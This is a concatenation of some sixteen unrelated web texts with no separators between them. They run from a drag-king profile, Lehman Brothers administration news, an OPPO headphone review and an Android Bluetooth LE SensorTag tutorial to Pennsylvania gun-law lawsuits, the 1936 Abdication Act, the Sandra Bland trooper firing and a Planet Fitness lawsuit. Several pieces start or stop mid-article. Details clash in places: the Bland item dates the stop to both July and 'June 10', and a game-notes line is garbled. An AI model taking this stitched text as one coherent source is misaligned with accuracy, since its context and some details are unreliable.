Gorgeous and Mason have become good friends—they perform together every year in P-Town—and he says he loves “that little moustache and eyebrows on that little miniature man.” Though his career got a boost after he won King, Gorgeous doesn’t think the title is the real point. “In a sense, being in the category and shaking things up is a win,” he says. “Being the odd one out in a community where we all identify ourselves as oddballs, dang, that’s next level.”
Six weeks after the Weekender, in P-Town, the Atomic Bombshells’ show closes with Kitten and Lou’s raucous, frenzied “clown act.” It’s a rare performance in which they wear almost identical costumes. They’re even more in synch tonight because Lou forgot to stuff her dance belt. At first, BenDeLaCreme was hesitant about including the act in the Bombshells’ show—it doesn’t reflect the roles that have become the touchstone of Kitten and Lou’s partnership. But the number was a hit at an open mic night for P-Town performers, and both Kitten and Lou seem willing to ditch the gender roles for a good dance number.
Some contentious voguing escalates to a slapping fight. They remove tall clown hats to reveal bright orange ponytails that sway back and forth as they dance. During the act’s controlled chaos, Lou isn’t trying to be any particular gender, but putting that clown trope through a Kitten and Lou filter is yet another way to play with identity.
All these flexible representations of “girl” and “boy” are formed from the raw material of Ricki Mason’s daily life. Earlier that afternoon, Mason, Welbourne, and BenDeLaCreme had been relaxing in the shallow end of an outdoor pool.
“Now you’re the boy and I’m the girl,” Mason told DeLaCreme, referring to her pineapple print women’s swimsuit. He demurred. His swim trunks were pink, after all.
“But I’ve got boobs,” Mason countered.
“And you love to remind us of that fact,” Welbourne said sarcastically. They often joke Mason is the rare stripper who never exposes her breasts.
“Sometimes I wrap them up and sometimes I let them out,” Mason replied before diving underwater like she’d just gotten away with something.
Mason is hoping that polished dancing, a precisely drawn mustache, and the perfect amount of glitter, sequins, and pompoms, will charm audiences into embracing Lou. That his performance will make the lines between woman and man, gay and straight, macho and dandy seem etched in eyeliner rather than permanent marker.
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According to the ninth progress reported published on 12 April by the administrators to the UK arm (LBIE), in the best case scenario unsecured creditors will be repaid in full.
The recalculation comes after the administrators managed to settle several major disputes with the other arms of Lehman Brothers, such as £12.6bn against its US parent company. It is estimated the settlements have resulted in higher than expected future recoveries for claims.
Since the start of the winding up of the investment bank, £13.6bn of client assets have been returned to former LBIE clients including one of the recent settlements which will see creditors receive a further £9.1bn.
In November last year a first interim payment of 25% was made to unsecured creditors.
Tony Lomas, lead administrator and partner at PwC said: “To be able to advise ordinary unsecured creditors that we now have a reasonable chance of eventually repaying their claims in full, marks a significant milestone for the administrators. This would not have been possible without a huge combined PwC and Lehman effort over the past four and a half years.
“The LBIE administration continues to be an extraordinarily large and complex challenge with many very high value disputes still to be resolved with counterparties.”
PwC partners were appointed joint administrators to the UK subsidiary LBIE on 15 September 2008 – the US arm also filed for bankruptcy in early September.
In November 2011, the administrators applied for an extension of the administration for five years. At that point, Tony Lomas, Steven Pearson, Derek Howell, Russell Downs and Paul Copley were appointed administrators.
The original partners appointed to LBIE in 2008 were Tony Lomas, Steven Pearson, Dan Schwarzmann and Mike Jervis.
Photo credit: Jesse Young
I recently visited the Apple store inside the Westfarms mall in Farmington, CT. It’s been awhile since the last time I was inside one (I live in the middle of nowhere), so I was surprised to see an entire table, on the main floor, dedicated solely to headphones. From what I remember, headphones used to be relegated to the perimeter of the store, like a second-class citizen to Apple’s own first-class offerings. Maybe buying Beats had something to do with the change.
Being a slow Tuesday evening, only a few people occupied the store, which gave me plenty of time to demo the headphones. There were selections from B&W, Marshall, Alpine, Harman Kardon, Beats, and a few others. They were all close-backed, mainly over-ears, and very cool-looking, an obvious nod to the fashion-conscious mobile music lover. I spent half an hour auditioning them, and my takeaway was that they mostly, um, sucked.
Which leads me to this review of the PM-3, notably missing from that line-up. The PM-3 is the third in a series of planar magnetic headphones by OPPO Digital. It differs from its siblings, the PM-1 and PM-2, in that it has a close-back design and uses a round 55 mm driver instead of one that is oval-shaped. The PM-3 costs $300 and $800 less than the PM-2 and PM-1, respectively, making it the most affordable of the three at $399.
OPPO Digital was nice enough to loan me a pair of white PM-3’s (they also come in black) for this review. Since they are marketed as portable audiophile-quality headphones, I made sure to use them in various locations. With regards to sound isolation, they performed superbly by keeping noise out and music in, probably as good as it gets for non-active noise cancellation. Their snug fit can be attributed to the strong clamp force, listed at 5 newtons. For comparison, Sennheiser’s HD 600 and HD 650 are half that at 2.5 N. So if you have largish ears or a wide head, like me, you may find the ear cups to be on the smaller side and the overall fit to be tight. Before each wear, I had to spend a few seconds adjusting the PM-3 to find the comfort sweet spot. But I ran into the same problem with all but the Alpines at the Apple store. Either portable headphones run small these days or my head is expanding.
The drivers in the PM-3 are sensitive enough to be driven from a mobile device without any external amplification. Through my laptop, tablet, and phone, the volume level was more than adequate. I listened to the PM-3 through an amp and could not hear a significant difference in sound quality. In fact, I kept having to lower the volume knob on my O2 amp every time I paired the two. How far planar magnetic driver design has come.
Perhaps the best way to describe the sound is by first talking about the store headphones. From my time briefly auditioning each pair, I found that most had a certain sound signature: heavy on the bass and light everywhere else. What I expected to be a V-shaped frequency response, which at least makes it fun, turned out to be non-existent in the latter half. They basically sounded boomy and claustrophobic, like what I’d imagine being trapped inside a submarine would be like. The PM-3 does not sound like this. It’s far more balanced while retaining some warmth. The bass has a satisfying punch, and the mids are respectable and competent. Some genres, like hip-hop and electronica, sound great while others, like live acoustic performances, sound just OK. The PM-3 is by no means analytical or especially detailed, which is suitable enough for modern popular music. The sound characteristics, it seems, was tuned for millennials.
As one would expect from $400 headphones, the PM-3 is well built with quality materials. It’s made from a combination of plastic, metal, and butter-soft synthetic leather that encases the top of the headband and over the ear pads. Although its design is for portable use, the PM-3 is rather heavy to wear. For comparison, the ATH-M50x weighs 285 grams and DT 990 PRO is 250 grams, while the PM-3 clocks in at 320 grams without the cable. On the plus side, the heaviness adds a durable quality that inspires confidence for everyday use.
Additionally, the PM-3 ships with two cables, a 3-meter straight cable and a shorter version with mic/volume/track controls. Both cables are well made, and the portable cable, which comes in either Android or iOS flavors, worked as expected without any problems. Being able to swap cables for different situations is a convenient feature that I wish more manufacturers would build into their headphones. Kudos to OPPO Digital for this.
Overall, the PM-3 is a thoughtfully designed set of portable headphones for anyone who needs noise isolation and appreciates high-quality sound. The price tag is competitive and far less expensive than what other planar magnetics go for. But the PM-3's planar magnetic-ness doesn't really sound all that planar magnetic-y; it's like a dynamic headphone more than anything else. You should get it for its sound quality rather than its driver type. For $399, you could do a lot worse, like buying any of the other headphones at the Apple store.
The song they chose fits in with the themes of the trailer. Ultron is busting loose of his "strings", so Pinocchio's "I've Got No Strings" was basically the perfect Disney song. Although, to be honest, the way they matched his speech up with the song makes me honestly wonder if they had this song in mind for the trailer long before they ever even started writing the script for the film. The trailer might have slowed the song down and given it a creepy cover on par with Maleficent's use of "Once Upon a Dream", but it didn't have the same effect on me. I mean, I've seen Pinocchio. This is the song.
Th3ShAd0wKiD97 on YouTube
As from the Disney movie, Pinocchio sings it as part of his performance — a performance that was not sanctioned by his conscience Jiminy Cricket — in which he dances around with a bunch of puppets who do have strings. And are also blatant cultural stereotypes, but really all I was picturing while hearing the song was dancing puppets. Ultron was trying to give the impression of being a dark version of a dancing puppet free from it's strings and the idea is an incredibly terrifying one. That song? Sorry, but it just doesn't terrify me. In fact, it kind of makes me want to laugh.
However, the song didn't detract too much from what was an otherwise awesome trailer. I respect what Marvel was trying to do, after all. And now we have another dark cover of what was originally a cute Disney song to add to our list. Age of Ultron made the song work as long as you don't watch the Pinocchio scene directly before watching the trailer, although perhaps the contrast between the two will make the effect better instead of worse. Meanwhile, I'll be sitting over here picture Pinocchio tap dancing in slow motion to this background music.
Check out the trailer below.
Marvel Entertainment on YouTube
I recently received a TI SensorTag - a low cost development kit for communicating with external sensors via Bluetooth Low Energy from Texas Instruments. It’s great for learning the technology or even building small projects. I’ll detail how you can communicate with it from an HTC One Android phone!
Here is a picture of reading the temperature sensor from the phone on my desk:
Here is the picture again after cupping my hand around the sensor and blowing on it. The plastic fogged up and the temperature is reading higher. Hot!
The TI SensorTag contains sensors for temperature, acceleration, humidity, magnetic compass, air pressure, and a gyroscope. You can imagine the temperature sensing being used for a project for smart clothing for example - maybe a jacket that opens vents in the arms and back when the user gets hot. Acceleration could be used to detect a door being opened. You can order a SensorTag at TI’s page for it, CC2541 SensorTag Development Kit.
Bluetooth Low Energy (BLE) is a recent specification of Bluetooth that allows communicating state using very little power. Devices can be created that last over six months on a single coin cell battery. Programs can be written that read, write, and monitor peripherals from smartphones that support BLE. You can sign up for the HTC BLE SDK on the BLE Overview page on HTCdev.
So for example, you could cause a device to beep, read data from it, write data to it, or have a button on it that makes your phone beep. Or vibrate - or light up indicators - or take a picture - there are many possibilities. This concept is often called the internet of things. It’s the technology that will enable all the things we interact with to be smart and networked together.
If you can’t find your purse, it could have a sensor in it that your phone tracks the last time it was in range, tells you where, and can make it sound an alarm. Your weight machine at the gym could let your phone record exactly how much you did and plan the best workout for you. Your beer glass at the bar could let your friends know you are downing cold ones and to come join you.
The sample code I used for the above pictures is on GitHub as BleActionLog. The BLE API builds on top of already existing Bluetooth functionality in Android. So, for example, if you want to connect to a Polar H7 heart rate monitor or Bluetrek Cookoo watch, you first pair with the device in the phone’s settings. This then creates a bond that allows using encryption with devices like the Cookoo that require it to protect personal information.
Discovering devices works as with standard Bluetooth except that you can use the BLE SDK to check the type of device like this:
if (BluetoothDevice.ACTION_FOUND.equals(action)) {
BluetoothDevice device = (BluetoothDevice) paramIntent
.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
if (BleAdapter.getDeviceType(device) == BleAdapter.DEVICE_TYPE_BLE
|| BleAdapter.getDeviceType(device) == BleAdapter.DEVICE_TYPE_DUMO) {
addDevice(device);
In the code above, only BLE devices are added to the list of choosable devices to connect to for this BLE sample app.
To connect to a device you then call connect or connectBackground on a class extending BleClientProfile. Connection logic looks like this:
mClient.connect(device);
A custom profile class with one required service looks like this:
public class TempProfileClient extends BleClientProfile {
public TempProfileClient(final Context aContext, final byte aEncryption) {
super(aContext, new BleGattID(UUID.randomUUID()));
mService = new TempServiceClient(aContext);
final ArrayList requiredServices = new ArrayList();
requiredServices.add(mService);
init(requiredServices, null);
To receive temperature notifications from the sensor we have to write configuration to it turning on the sensor. That looks like this:
final BleCharacteristic tempConfig = new BleCharacteristic( new BleGattID(TiBleConstants.IRTEMPERATURE_CONF_UUID)); byte[] value = { 1 }; tempConfig.setValue(value); tempConfig.setWriteType(BleConstants.GATTC_TYPE_WRITE); mService.writeCharacteristic(aDevice, 0, tempConfig);
And receive them like this in the service:
public void onCharacteristicChanged(BluetoothDevice d, BleCharacteristic characteristic) {
super.onCharacteristicChanged(d, characteristic);
if ( BleUtils.eqId(characteristic, TiBleConstants.IRTEMPERATURE_DATA_UUID) ) {
final int dieTempRaw = BleCharacteristics.unsignedBytesToInt(
characteristic.getValue()[3],
characteristic.getValue()[2]);
final int dieTempC = dieTempRaw / 128;
For most of the campaign, it appeared Clinton would counter the historic nature of her own candidacy with a relatively ordinary political pick for the No. 2. spot, or she could select a Hispanic man, perhaps Julian Castro or Tom Perez, as her running mate.
But taking Clinton’s campaign chairman John Podesta at his word, what women could be on Clinton’s list? The list of Democratic women who have served as a governor or US Senator is not that long. There are just three Democratic women governors. One of them, New Hampshire’s Maggie Hassan, is running for US Senate this year. The other two are serving in their first term.
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It is possible that Clinton could pick a business executive who has no background in politics (Sheryl Sandberg?). But that could prompt questions about her running mate’s preparedness and experience -- neutralizing that issue somewhat if she wants to criticize Donald Trump for the same.
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All that said, here are the top five women Clinton could choose as her running mate, ranked:
1. Elizabeth Warren: The Massachusetts Senator can uniquely fuse the Sanders wing of the party with the Clinton wing. But as Linskey points out in the Globe, questions remain whether Warren even supports Clinton and if she would accept the offer to be on the ticket.
2. Janet Napolitano: Napolitano not only served as a popular governor of Arizona, but she also has experience as the secretary of the US Department of Homeland Security. She is currently the president of the University of California system. With Trump angering hispanic voters, some have wondered if her home state of Arizona could be in play as a swing state in 2016.
3. Jeanne Shaheen: She is the first female to serve as a governor and US Senator in the nation’s history. She is also close to the Clinton family and is the only politician on this list who comes from a true swing state -- even if New Hampshire only has four electoral votes.
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4. Amy Klobuchar: The US senator from Minnesota started out as a legal assistant to another Vice President: Walter Mondale. After serving as county attorney she became the first woman from her state to be elected to the US Senate. If she is not on the ticket, the drumbeat will only get louder to put Klobuchar on the US Supreme Court some day.
5. Patty Murray: The US senator from Washington rose up through the highest level of American politics by starting out at the school board. She is liked among her colleagues and is a good fundraiser. The problem: She is running for re-election this year.
Wildcard picks: Maine Republicans Olympia Snowe or Susan Collins.
Yesterday, Rihanna finally released her album ANTI. Surprisingly, it featured a cover of Tame Impala's "New Person, Same Old Mistakes" from the band's 2015 album Currents. Tame Impala's management have now issued a brief statement to NME about the cover. Read it below.
The Roc Nation team got in touch with us here at Spinning Top letting us know that Rihanna loved the Tame Impala track 'New Person, Same Old Mistakes'. They asked if she could cover the song for her new record. Kevin was more than happy to send it her way. We’re all really happy with how the song turned out, love it!
Tame Impala recently announced a tour in support of Currents. Read "Cosmic Neurotic: The Heady Perfectionism of Tame Impala's Kevin Parker."
Listen to Tame Impala's "New Person, Same Old Mistakes":
While heroin and its prescription cousins, like Vicodin and oxycontin, are plenty addictive themselves, drug users have been turning to synthetic versions of these drugs that “can sometimes be as much as 100 times more potent than heroin,” said chemist Kim D. Janda of The Scripps Research Institute (TSRI) in California at a recent meeting of the American Chemical Society. Black market opiates are rumored to be as much as 10,000 times more powerful than morphine. “Moreover, many patients [are] receiving treatment relapse,” Janda added.
Despite the greater risks of overdose, these synthetics are cheaper and quicker to make and offer a greater high. But like all opioids, the longer one takes them, the more a person has to take in order to achieve the same effect until they are taking dangerously high amounts.
“There is an urgent need to discover effective medications to treat substance use disorders,” Janda said.
Drug treatment programs can be effective when people recognize they have a problem, and if they have the health insurance or finances to afford them. For many people in the grip of a substance abuse disorder, however, a simpler solution would be more effective and could save lives. This is where Janda’s vaccines come in.
While we generally associate vaccines with inoculation against bacteria and viruses, Janda, who has led several studies on these vaccines at TSRI, recently told Mental Floss, “There are ways to stimulate the immune response against different molecules besides bacterial pathogens or a virus.”
Janda and his team created tiny molecules known as haptens, small molecules that stimulate antibodies when they’re attached to a larger, “carrier” molecule. However, these molecules are so small the immune system doesn’t recognize them on their own, so they attached proteins called epitopes that allow antibodies produced by the immune system to bind to them.
To read more, please continue to page 2.
It’s been two years since the push to expand background checks for gun purchases in the wake of the Sandy Hook Elementary massacre fell short in the Senate. Since then, the gun-law debate has receded in Washington. But it is flaring in the states, where advocates on both sides see more hope for action than in the gridlocked capital. And at the moment, the most remarkable fight may be the one shaping up in Pennsylvania, where the National Rifle Association is facing off not against big national gun-control groups, but against many of the state’s towns and cities, in a brazen push to get them to repeal their gun-related laws.
It all started about five years ago, when a group of Pennsylvania cities, frustrated with the difficulty of getting gun-law reforms passed in the Republican-controlled state legislature, started passing laws and ordinances on their own. Their highest priority was requiring gun owners to report lost or stolen guns—a law that was intended to make it harder for gun traffickers to claim, after a crime gun was traced back to them, that the gun had been lost or stolen before the crime was committed. Most of the states bordering Pennsylvania had such a law, but it was going nowhere in Harrisburg. Eventually, more than 100 towns and cities passed the requirement. “The state was not taking any action on it and by putting together support at the grassroots level and showing that mayors and council could take action, we hoped it would compel action at the state level,” says Pittsburgh Mayor Bill Peduto, who was on the city council at the time. “It’s the grassroots level that brings change to state capitals and then Washington, D.C.”
Such laws are anathema to the gun lobby, which argues they violate the Fifth Amendment’s bar against self-incrimination, since reporting a lost or stolen gun might implicate someone for other violations. Gun-rights advocates have also been peeved over another set of ordinances passed by Pennsylvania towns, banning guns from parks or other public areas, as well as by laws passed by Philadelphia that, among other things, limit assault weapons and gun ownership for domestic-violence abusers. Gun-rights groups argue that most of the local laws are in violation of a 1974 state law that bars municipalities against passing restrictions that are pre-empted by state gun laws. But they have had trouble getting the laws overturned, because that requires finding someone who can show injury from the laws to bring a lawsuit challenging them.
So the gun lobby got the state legislature to change the rules of the game. Late last year, Pennsylvania lawmakers passed a bill, loosely modeled on a Florida law, to make it possible for any state resident or any gun-rights group to which they belong to challenge local gun laws in court. The law, Act 192, is an explicit carve-out for gun-rights groups from customary legal procedures—challenges of school-prayer restrictions, for instance, are typically brought by actual students who can show that their rights have been infringed by the restrictions. Not only that, but the law requires that towns and cities pay the legal fees of any plaintiffs who successfully challenge their gun laws in court.
In other words, the NRA, with its headquarters in northern Virginia and annual revenues well above $200 million, can sue towns and cities, and expect them to pay its costs if it wins.
And, almost immediately, the lawsuits have arrived. The NRA has sued Philadelphia, Pittsburgh, and Lancaster, a town with a population of 59,325. (Lancaster probably ranked as a prime target since its mayor has served as the chairman of the state chapter of Mayors Against Illegal Guns, the group co-founded by former New York mayor Michael Bloomberg.) A Pennsylvania-based gun-rights group, Firearms Owners Against Crime, has sued Harrisburg, as has a Texas-based pro-gun rights legal outfit called U.S. Law Shield.
Meanwhile, many towns and cities across the state—from Norristown and Franconia outside Philadelphia to Munhall and Clairton in the Monongahela Valley to Erie on the shores of the Great Lakes—have rushed to repeal their gun-related ordinances, worried they won’t be able to afford to fend off these legal actions or, worst case, pay the NRA’s legal bills, alongside their school and snow-removal budgets. “These are risk-free lawsuits. You might get your fees covered or at the least, you get towns to drop their laws. It’s a jobs program for gun-lobby lawyers and an NRA bullying tactic for local towns,” says Shira Goodman, director of CeaseFire PA, the state’s main gun-control group. “They’re giving special rights to the NRA.”
The NRA and its lawyer in Pennsylvania did not respond to requests for an interview. But Kim Stolfer, chairman of the Firearms Owners Against Crime, which played a leading role in getting Act 192 passed, gave a vigorous defense of the law. He said that the local ordinances forbidding guns on public property were weaker than state laws already on the books forbidding guns on school grounds and in courthouses. The ordinances, he added, had nonetheless caused legal hassles for law-abiding gun owners, such as a man who was arrested for moving his gun from his luggage to his person in a nonsecured part of the Pittsburgh airport. Local authorities rarely press these cases, he said, likely because they know the laws are on shaky ground, but not before gun owners incur hefty legal fees.
As for the laws requiring reporting of lost and stolen guns, Stolfer said, there is little evidence of their effectiveness, given how few cases local authorities bring against straw purchasers, people who buy guns and then pass them on to those who are forbidden to purchase firearms or don’t want their names on record. “They have no reason to enact local laws except to make a statement or for political demagoguery,” he said. “They want a collective network of laws that are so ambiguous that they create fear of prosecution and uncertainty for people that own guns as to whether they can be held liable.”
And he sees nothing wrong with gun-rights groups getting the right to challenge local laws, regardless of whether they’ve been personally injured. It was no different, he said, than the NAACP being able to bring a case “against a restaurant that says ‘no blacks allowed.’ ” “Why should you have to violate a law and be prosecuted before you’re able to challenge it?” he said. “Why should we take a civil right and have people have to go to jail and then challenge it?”
The cities in the sights of Stolfer’s group and the NRA scoff at these arguments. State laws regarding guns on public grounds are not adequate, they say—for one thing, the rule banning guns in courthouses exposes the many government offices that are not in courthouses. (In 2013, three people were killed in a shooting at a township meeting in the Poconos.) And just because there haven’t been many straw-purchasing cases brought doesn’t mean the lost-and-reporting rule isn’t helping the police track down some missing guns, says Lancaster Mayor Rick Gray, a Democrat who, like his Republican predecessor, has kicked in $1,000 of his own money for a local legal defense fund to take on the NRA. “The NRA will say, ‘This is just window-dressing, they haven’t prosecuted anybody.’ But then why are you filing a lawsuit against a law that doesn’t have any effect to it?”
As for the provision giving the NRA the right to sue, he said, it’s a blatant carve-out. “Lobbies like the NRA are … special interests,” he said. “They do everything they can to make sure the decisions affecting them are made by the people they have the most control over. They don’t have control over mayors … and they do have control over the General Assembly.”
Lancaster, Pittsburgh, and Philadelphia are not only not backing down in the face of the NRA lawsuits; they have filed one of their own against the state, arguing that Act 192 is unconstitutional because, in the legislature’s rush to get it passed before Republican Gov. Tom Corbett lost his bid for re-election, they attached it to a measure having to do with the theft of scrap metals. This, the cities say, violates the state constitution’s bar against passing unrelated measures in a single law. That lawsuit is now pending in the state’s Commonwealth Court.
Regardless of how the legal battle ends, the Pennsylvania showdown points to the essential conundrum in having the gun debate devolve to the state and local level in the face of a Washington stalemate. On the one hand, it makes sense for cities grappling with gun violence to pass laws suited to their circumstances, and to political environments where there is more support for sensible gun laws than the conventional wisdom about the NRA’s power might suggest. But on the other hand, such a patchwork approach opens itself up to the argument of gun-rights groups that it causes confusion on the part of gun owners or conflicts with state laws. Not to mention that the patchwork approach is often less effective—since guns travel easily across local and state borders, lost-and-stolen reporting laws or background checks are far more effective if they’re universal.
This is the bind that Rep. Patrick Harkins, a Democrat from Erie County, was in when Act 192 came up last year. He said he sees why some cities would want tougher gun laws than the state’s rural areas, but also worries about the legal “hodgepodge” this creates across the state. At the same time, he was bothered by the bill’s provision giving the NRA and other gun-rights groups a special right to sue and collect legal fees. “I don’t like that,” he said. “The Founders would be ashamed of something like that. That’s tug of war by the bully.”
His Majesty's Declaration of Abdication Act 1936 (1 Edw. 8 & 1 Geo. 6 c. 3) was the Act of the Parliament of the United Kingdom that recognised and ratified the abdication of King Edward VIII and passed succession to his brother King George VI. The act also excluded any possible future descendants of Edward from the line of succession. Edward VIII abdicated in order to marry his lover, Wallis Simpson, after facing opposition from the governments of the United Kingdom and the Dominions.
Procedure and timing [ edit ]
Although Edward VIII had signed a declaration of abdication the previous day—10 December 1936—he remained king until giving Royal Assent to His Majesty's Declaration of Abdication Act, which he did on 11 December,[1] at 1.52 p.m., and the Act became immediately effective from that time.[2]
The act was passed through the British Houses of Parliament in one day, with no amendments. As the Statute of Westminster 1931 stipulated that the line of succession must remain the same throughout the Crown's realms, the governments of some of the British Dominions—Canada, Australia, the Union of South Africa, and New Zealand—requested and gave their permission for the act to become part of the law of their respective realms.
The Canadian parliament later passed the Succession to the Throne Act 1937 to ratify changes to the rules of succession in Canada and ensure consistency with the changes in the rules then in place in the United Kingdom. South Africa passed His Majesty King Edward the Eighth's Abdication Act, 1937, which declared the abdication to have taken effect on 10 December 1936. Australia and New Zealand did not adopt the Statute of Westminster 1931 until the 1940s and did not pass their own legislation. In the Irish Free State, which had been independent from the United Kingdom as a dominion since December 1922, and in which the monarch still had some diplomatic functions, the Oireachtas (parliament) passed the Executive Authority (External Relations) Act 1936, recognising George VI as king from 12 December 1936.
Legal background [ edit ]
The act was necessary for two main reasons.
First, there was no provision in British law for a sovereign to abdicate. Parliament had to pass a bill to remove the king from the throne. Finally the king had to give royal assent to the legislation, which only then became a law. (This process had to be repeated in the parliaments of the Dominions which had enacted the Statute of Westminster 1931: Canada and South Africa.)
Second, the act ensured that any descendants of Edward VIII would have no claim to the throne, and that the Royal Marriages Act 1772 would not apply to them.
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The Ravens placed backup offensive lineman Jah Reid on injured reserve after he aggravated a previously broken right hand that required surgery.
Rookie running back Lorenzo Taliaferro has a sprained foot and is in a walking boot and is expected to miss Sunday's game against the Jacksonville Jaguars, according to a source.
"Definitely, I'm always prepared," Toussaint said Friday. "I try to do everything every week as I'm playing. As a practice-squad guy, you don't want to get caught off-guard."
Toussaint went undrafted out of Michigan where he was an All-Big Ten Conference honorable-mention selection in 2011 when he rushed for a career-high 1,041 yards and nine touchdowns.
The 5-foot-9, 204-pound back ran the 40-yard dash in 4.49 seconds at his campus Pro Day workout and bench pressed 225 pounds 24 times.
“Fitz has done a great job," Ravens coach John Harbaugh said Friday. "He comes out here and he goes against our defense and they get after him pretty good. He plays the game pretty much on Wednesday and Thursday as much as you can simulate it. He’s ready to go and we have a lot of confidence in him.”
Reid is a 6-foot-7, 320-pound 2011 third-round draft pick from Central Florida who played earlier this season against the Indianapolis Colts and the Atlanta Falcons.
Reid played in 10 games as a backup guard last season and saw limited action. He started seven games in 2012 before a foot injury ended his season and required surgery.
Reid is in the final season of a four-year, $2.6 million rookie contract.
The Ravens now have 13 players on injured reserve. That includes Reid, cornerbacks Jimmy Smith, Tramain Jacobs, Danny Gorrer and Aaron Ross, defensive linemen Brent Urban, Kapron Lewis-Moore and Christo Bilukidi, wide receiver Jeremy Butler, long snapper Morgan Cox, tight ends Dennis Pitta and Konrad Reuland and offensive guard Will Rackley.
awilson@baltsun.com
The Texas state trooper who arrested Sandra Bland, the motorist who days later was found hanged in a jail cell, was formally fired on Wednesday, according to the Texas Department of Public Safety.
Trooper Brian Encinia was fired after failing to rebut disciplinary charges leveled against him in January, Public Safety Director Steven McCraw wrote in a letter of final termination. Encinia had been accused of failing to act courteously during his July traffic stop of Bland, prolonging her detention, violating general orders and perjury.
Encinia, who also has been indicted on a criminal charge of perjury, stopped Bland for what police said was failure to signal a lane change and arrested her after a confrontation that began when he ordered her to put out her cigarette. Bland, 28, was found hanged in her Waller County jail cell several days later, sparking allegations of foul play and a nationwide debate about the treatment of black citizens in police custody.
Video of the traffic stop and Bland's death -- which the county coroner ultimately ruled suicide -- prompted investigations by the Texas Rangers and the FBI.
Facebook Sandra Bland is seen in a photo from her Facebook page.
The state Public Safety department moved to fire Encinia after his perjury indictment in January accused him of lying about the confrontation. Encinia had claimed in an affidavit that Bland was "combative and uncooperative," which grand jurors determined to be untrue.
Bland was pulled over on June 10, 2015, during a road trip to Texas from Illinois, where she lived. Bystander video shows Bland on the ground after she had been pulled from her car. Bland is heard on the video crying and in distress as she repeatedly tells officers that they were hurting her and that she couldn't hear after being slammed into the ground.
Dashcam video from Encinia's car showed him holding a stun gun and threatening, "I will light you up!" after she refuses to get out of her car.
Bland was found three days after her arrest hanged with a plastic bag in her cell. Her friends and family vigorously denied she would have taken her life, saying suicide was "unfathomable."
Officials said Bland, who had been a vocal activist against police brutality and mistreatment, was despondent over not being able to post her $500 bail and go free. A grand jury declined to charge anyone at the jail in connection to Bland's death.
Geneva Reed-Veal, Bland's mother, balked at Encinia's perjury misdemeanor charge, which carries up to a $4,000 fine and a year in jail.
( Warning : PBE Content is tentative and subject to change - what you see below may not reflect what eventually gets pushed to live servers at the end of the cycle! Manage your expectations accordingly.)
Table of Contents
Skin Tweaks
Balance Changes * Remember *: The PBE is a testing grounds for new, tentative, and sometimes radical or experimental changes. Be aware that what you see below may be lacking context or other changes that didn't make it in or were implemented in an earlier patch this cycle! These are not official notes.
[ None today! ]
Notes ICYMI - A mid-patch update for 6.24 was pushed to live and included many balance changes seen during the current [7.1] PBE cycle. KateyKhaos tweeted earlier this week there would be additional HS Quinn changes in a future update this cycle.
*: The PBE is a testing grounds for new, tentative, and sometimes radical or experimental changes. Be aware that what you see below may be lacking context or other changes that didn't make it in or were implemented in an earlier patch this cycle! These areofficial notes.
EarthBound for the Wii U Virtual Console was released out of the blue the other day, but that wasn’t the only surprise! The game, which was originally rated “K-A” (Kids to Adults) back in the old days, was rated as “E for Everyone” back in 2007 before the Wii VC version was canceled. But this recent release for the Wii U has it rated as “T for Teens”, which is a bit of a jump up the ratings scale.
So what’s different this time around that warranted the higher rating? The Wii U ESRB rating also says the game includes:
Fantasy Violence, Mild Blood, Suggestive Themes, Crude Humor
The violence in the game is almost entirely in text format, the only blood I can think of is a few pixels on the Kraken’s teeth, I’m not sure what could be “suggestive” aside from maaaaybe the lady in Threed, and okay EarthBound has fart and poop jokes I’ll give them that. Still, am I missing something? Is there blood in the game I’m not thinking of? If anything, I’m surprised they didn’t include gambling in the list, since that seems to be one of the things the ESRB looks for.
This actually reminds me of a few months ago when EarthBound was rated by the Australian ratings board. That rating of the game was kind of confusing too, in the same way as this.
Most of it makes perfect sense and it’s the same list you’d find anywhere else. But Christian activist (and vertical video aficionado) Joshua Feuerstein latched on to one bit in particular: The dress code apparently prohibits the U.S. flag.
Feuerstein couldn’t handle that. If you can’t wear a shirt with the flag on it, how are you supposed to broadcast your patriotism? Through your actions?! C’mon now. Patriotism for him is like prayer. Doing it privately is never an option. It must be forced down the throats of everyone else.
Excuse me? The “American flag” is prohibited? Notice they single out OUR flag .. but don’t prohibit others! If you find out flag offensive …. MOVE! Canada is full of snowflakes .. you will FIT RIGHT IN! SHARE THIS and blow their emails up …
That was posted early this morning. And while I’ve cropped the email addressed out of the image above, Feuerstein included the full page from the handbook that listed the contact information for the administrators at the school. Just to make sure his followers could harass them.
Setting aside the email thing for a moment, there’s a bigger problem with all this.
The District has a statement on its Facebook page letting everyone know there was a mistake in the handbook concerning the dress code.
We apologize for the error in the informational booklet that was mailed out this week. This booklet was a condensed version of several district and building policies. Regarding our dress code at Roseville High School, the specific language about the American flag states that it shall not be “worn in a demeaning manner.” We encourage proud, appropriate, displays of our nation’s flag. We will clear up the language in future publications.
There you go. Just don’t wear something demeaning the flag. It’s exactly the type of dress code rule Feuerstein would love… except he was too blinded by his rage and more concerned with making people angry than getting to the bottom of the story.
Even more telling is that the apology from the District came more than 24 hours before Feuerstein told people to get angry about this. There were news stories about this issue up yesterday for anyone doing a Google search of the school’s name.
So Feuerstein had a full day to do the most basic kind of research before whipping everyone into a frenzy… yet he didn’t bother with it. The moment he saw the dress code, he assumed the worst and ran with it.
This is a textbook case of how online witch hunts work.
You take a little bit of information, blow it out of proportion, break out the pitchfork, ignore any possible explanation, and jerk yourself off while sitting alone on your moral high ground.
(Update: Feuerstein has since deleted the post without apology or explanation. But screenshots live forever.)
Yvette Cormier of Midland County is suing Planet Fitness in Midland County Circuit Court for more than $25,000. The Kallman Legal Group of Lansing is representing Cormier.
Planet Fitness canceled Cormier's membership March 4 after she complained to fellow gym members over several days about seeing a transgender woman using the locker room.
While Cormier referred to the individual as a man, she said an employee told her the individual in question identified as a woman. Carlotta Sklodowska later came forward, saying she was the transgender woman in question.
"Ms. Cormier was wrongfully denied the benefits of her contract with Planet Fitness and wrongfully denied the use of the public accommodations at Defendant's gym because she objected to Defendant's unknown policy," a press release from Kallman Legal Group states. "The policy allows men who self-identify as women to use the women's facilities, including the women's locker room and showers."
The law firm also states that the case is also relevant to the possible expansion of Michigan's civil rights laws.
"Mrs. Cormier has filed this lawsuit to protect Michigan women and children and to hold Planet Fitness accountable for its irresponsible policy and actions," the press release states. "This case further illustrates the potential harm caused by adding the proposed new categories of sexual orientation/gender identity to the Elliott-Larsen Civil Rights Act."
